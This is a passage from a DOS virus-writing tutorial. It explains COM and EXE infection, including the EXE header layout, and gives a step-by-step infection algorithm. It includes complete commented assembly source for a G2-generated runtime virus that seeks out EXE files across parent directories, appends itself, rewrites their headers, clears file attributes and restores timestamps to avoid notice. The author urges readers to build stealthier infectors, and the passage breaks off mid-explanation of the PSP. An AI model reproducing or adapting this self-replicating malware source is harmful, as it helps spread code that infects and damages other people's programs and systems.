;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
signature db "[PS/Gý]",0 ; Phalcon/Skism Gý ( old!! )
COMmask db "*.COM",0 ; Must be ASCIIZ ( Ascii string,0 )
dot_dot db "..",0 ; Directory to change
heap: ; this data goes in heap
newDTA db 43 dup (?) ; DTA size, 2Bh
origdir db 65 dup (?) ; Where to store old directory
numinfect db ? ; Handles the number of infections
readbuffer db 1ah dup (?) ; Buffer
endheap:
end carrier
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It's very simple all this, as you can see. And this code is FULLY commented.
If you still don't understand this, don't change chapter, re-read all the
COM infection!!!. But... a virus that only infect COMs... and runtime maybe
would be cool 6 or 7 years ago, but nowadays it's horrible! Before spread a
runtime virus now, i recommend you to wait some time. Some months could
be enough in order to have a better knowledge of assembler language, and if
you dedicate some time for improve your skills, you'll make a TSR COM/EXE
infector with full stealth and nice tricks in some months more.
ENUNSÜ
ßßßßß
Well, the goddamn Win95 has a lot of COM files, interesting huh? They're so
far the most used, but there's a problem. If we infect them normally, they
hang :( The solution if to save the last seven bytes of the file at the end
of the file, adding the virus size to the last two.
Last wordsÜ
ßßßßßßßßßß
Don't hear the insults of another VXers about your first steps here, and
your viruses. Sometimes some of this people ( they're few guys, ussually all
people in the scene in very kind ) forget their first steps were like yours,
believing theirselves god, as some AVers dickeads do. Pathetic.
I'll stop talking about this suckers who forget their roots, and let's talk
about the EXE infection.
% EXE infection %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The first you must know is that the EXE infection is different than COM
infection ( i think you're intelligent and you know this ;) ) The EXEs can
be bigger in size, and they have a HEADER ( I think the most important part
infecting EXEs is manipulate that header ) that contains some useful values
for infection like the CS:IP ( stored in reverse order IP:CS ) ,SS:SP ( NOT
stored in reverse order!!! ), File size in paragraphs and all other things.
Here you have the header structure:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ EXE file mark ( ZM or MZ ) ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h
³ Bytes in last page of image* ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h
³ Number of pages* ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0006h
³ Number of relocation items ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h
³ Size of the header in paragraphs ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ah
³ MinAlloc in paragraphs ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch
³ MaxAlloc in paragraphs ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Eh
³ Initial SS* ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h
³ Initial SP* ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0012h
³ Negative checksum ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0014h
³ Initial IP* ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h
³ Initial CS* ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0018h
³ Relocations ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Ah
³ Overlays ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Ch
³ Reserved / Not used ³ Size : 1 DWORD?
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄ
Total Size : VARIABLE!
(*) The fields marked need to be modified at infection
The EXE files can have more than one segment ( one for code, one for data
and another for stack -> CS,DS,SS in order of appereance :)
The EXE's header is generated by the linker. The user don't give a shit :)
When DOS loads the EXE into memory, it looks like this:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄÂÄÄ ES = 0000h
³ Program Segment Prefix ( PSP ) ³ ÀÄÄ DS = 0000h
³ 100h bytes ( 256d ) ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ CS:IP ( pointed by header )
³ ³
³ Program Code Segment ( CS ) ³
³ ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ ³
³ Program Data Segment ( DS ) ³
³ ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄÄÄÄ SS = 0000h
³ ³
³ Program Stack Segment ( SS ) ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄ SS:SP ( pointed by header )
As you can see, in the EXE files there isn't the problem existing in COMs.
For our stack needs ( PUSH and POP ) we have an entire segment! It still
grows backwards ( from bottom to top ).
Let's see da algorithm you must follow for yer EXE infector ( step by step )
1. Open the file ( wow, genius! ) for read only
2. Read the first 1A bytes ( 26d )
3. Store them in a variable
4. Close file
5. Check the first word for mark ( MZ, ZM )
6. If it's equal, continue, if not goto 16
7. Check for previous infection
8. If ain't infected, continue, if it's already infected goto 17
9. Save actual CS:IP ( reverse -> IP:CS ) for EXE restoring
10. For the same purpose, save SS:SP ( this order )
11. Calculate new CS:IP and SS:SP
12. Modify the bytes in the last page and the number of pages
13. Open again ( but in read/write mode )
14. Write the header
15. Move file pointer to the end
16. Append the virus body
17. Close file
Of course, you change some things to this, like open only one time for r/w
mode. Beware of infected EXEs SP. SP ain't even in normal EXEs ( could be,
but it'll trigger an heuristic flag! ). So, pay attention.
I don't wanna bore you with more theorical shit, and remember that the best
way to learn to code viruses is to see source codes of another viruses. And
it's good to see what i've just explained you :)
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; I'll put code of my own when we arrive to more funny chapters. Until then,
; you must fuck you seeing code generated by Gý :)
;
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
id = ';)'
.model tiny
.code
org 0100h
start:
call next
next:
pop bp
sub bp, offset next
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; This is the most common way to find the delta offset ( if you still don't
; know what is the delta offset, kill yourself )
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push ds
push es
push cs
pop es ; CS = ES
push cs
pop ds ; CS = ES = DS
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; This AIN'T a COM! Remember it. The EXEs are more powerful ( and a little
; bit more hard to infect ) When we execute an EXE, each segment is pointing
; to a different offset, so we need to adjust them. Remember we can't put
; something like " mov es,ds ", so there's a little trick to do this. Use the
; stack :)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov ah, 001Ah ; Set DTA
lea dx, [bp+offset newDTA]
int 0021h
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
cwd ; Default drive
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; Do you remember our old friend, the DTA ? I hope da answer will be yes, coz
; it's not, re-read the full document, goddamit!
; And the second routine is also a well know one. This stuff is already seen.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lea di, [bp+offset origCSIP2]
lea si, [bp+offset origCSIP]
movsw
movsw
movsw
movsw
mov byte ptr [bp+numinfect], 0000h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; Hey! Some new stuff! Well, the first block is for the later restore of the
; EXE guest file. I hope you know what MOVSW instruction does... Not? Grrr...
; I'm gonna explain you, but for another doubts... BUY AN ASSEMBLER BOOK!!!
; MOVSW moves a word from DS:SI to ES:DI ( MOVSB does the same but with a
; byte ) We make this because we have two double words. Wa can also put some-
; thing like MOV CX,4 and a REP MOVSW, or in a 386+, two MOVSD.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
traverse_loop:
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; It's a pain to explain routines already explained before...
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
pop es ; ES = DS
pop ds
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; Already explained in COM infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh ; jmp far opcode
origCSIP2 dd ?
origSPSS2 dd ?
origCSIP dd 0fff00000h
origSPSS dd ?
return:
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; This is the way used to restore the guest EXE. Take a look to the instruct-
; ions... Our objective is to restore old CS:IP ans SS:SP of the infected EXE
; Take note that we must deactivate interrupts before stack manipulation.
; After this, we jump to the original EXE code, and all will happen like
; there isn't any strange thing :)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect:
mov cx, 0007h ; all files
mov ah, 004Eh ; find first
findfirstnext:
int 0021h
jc return
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; All this code seems to be equal to the COM infection. This is because it's
; the stuff that find EXE files, wipe the attributes and else
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0021h
xchg ax, bx
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; Hey, guy. All this above code was already seen in COM infection. But from
; here till the end, there'll be the cool stuff of EXE infection :)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp word ptr [bp+offset readbuffer], 'ZM'
jnz jmp_close
checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block compares the first bytes of the opened file in order to
; search for the EXE signature ( MZ ). The author of Gý seems to have forgot-
; ten to add a comparison for ZM, tho. The second one check for previous
; infection. This virus is an old runtime one, and it's a rudimentary way to
; mark infected EXEcutables ( put two bytes as SP in the EXE header )
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
skipp:
lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; For know that we are doing at this point, you must remember what MOVSW does
; ( Explained some lines above ). Ok ? Yeah, this restores CS:IP and SS:SP of
; the opened EXE.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push bx ; save file handle
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; This piece of code seems to be very hard to understand. But it isn't. The
; first block read the value on readbuffer+8 ( Header size in paragraphs ).
; And then turn it into bytes. The second block puts the file size in stack.
; The third one substracts to the file size the header size. The fourth
; divides the number in AX by 10, and puts the remainder in DX. After this,
; we put the new SS, IP, SP and CS.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pop ax ; File length in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
mov word ptr [bp+readbuffer+4], dx ; the EXE header
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; Yeeeha! Some cool math operations! :) First we make is to restore the file
; size. Then we add to this the virus size. This huge block that make a lot
; of calcualations is used for calculate the infected file size in the header
; that is in 512 bytes form, rounded to up. Imagine if we have a 513 bytes
; file, then we have here a 2 and 1 as remainder. The last one writes the
; calculated information to the header
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pop bx ; restore file handle
mov cx, heap-start
lea dx, [bp+offset start]
mov ah, 0040h ; concatenate virus
int 0021h
xor dx, dx
mov ax, 4200h
xor cx, cx
int 0021h
lea dx, [bp+offset readbuffer]
mov cx, 001Ah
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; We append the virus body, and then we move file ointer to the beginning.
; Now we write the new header, and increment the counter by 1.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; This routines are known by us. No ? See the COM infection, sucker! ;)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
signature db "[PS/Gý]",0 ; Phalcon/Skism Gý
EXEmask db "*.EXE",0
dot_dot db "..",0
heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end start
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Too much for you ? Ok, i know but i have to say one thing. When you underst-
and the concept of COM and EXE infection, your knowledge will grow as fast
as the light speed :) Doesn't matter that viruses are obsolete runtime ones.
The important is the concept. And if you understand this, you can make what-
ever you want.
We'll stop a little time. It's time to explain you some more useful theory.
ÄÄÄ´ Useful Structures ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Now it's time to know one thing we had talked a lot, the PSP.
% The PSP ( Program Segment Prefix ) %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Its structure look like this:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h
³ INT 20h ( CD 20 ) ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h
³ Pointer to the next segment ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h
³ Reserved ³ Size : 1 BYTE
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h
³ Far call to INT 21h ³ Size : 5 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ah
³ Saved INT 22h vector ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Eh
³ Saved INT 23h vector ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0012h
³ Saved INT 24h vector ³ Size : 1 DWORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h
³ Reserved ³ Size : 22 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +002Ch
³ Offset to Enviroment Segment ³ Size : 1 WORD
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +002Eh
³ Reserved ³ Size : 46 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +005Ch
³ First default FCB ³ Size : 16 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +006Ch
³ Second default FCB ³ Size : 16 BYTES
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0080h
³ Command Tail and default DTA ³ Size : 180 BYTES
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄ
Total Size : 256 BYTES
Let's explain it step by step, because this structure is very important.
þ Offset 0000h:
The INT 20h is an obsolete method for terminate program. Nowadays we use
function 4Ch of the INT 21h.
þ Offset 0002h:
Here goes the pointer to the next segment placed after our program. We can
use it to know how much memory DOS have given to us ( substracting da offset
pointed by it to the offset 0000 of our PSP ). It'll return to us the memory
in paragraphs, so we have to multiply it by 16 to obtain the size in bytes.
þ Offset 0005h:
This is a preety curious way to call INT 21h. And, of course, we can use it
to our purposes. The functions are in CL instead AH, and we can only use the
functions below 24h. I'll explain more in TUNNELING chapter.
þ Offset 000Ah:
Here are stored the original vectors of INT 22h. The INT 22h is the one that
receives the control when the program terminates its execution using this
ways:
- INT 20h
- INT 27h
- INT 21h ( Functions 00h, 31h, 4Ch )
þ Offset 000Eh:
Here are stored the vectors of anothr int, the INT 23h. This int is the one
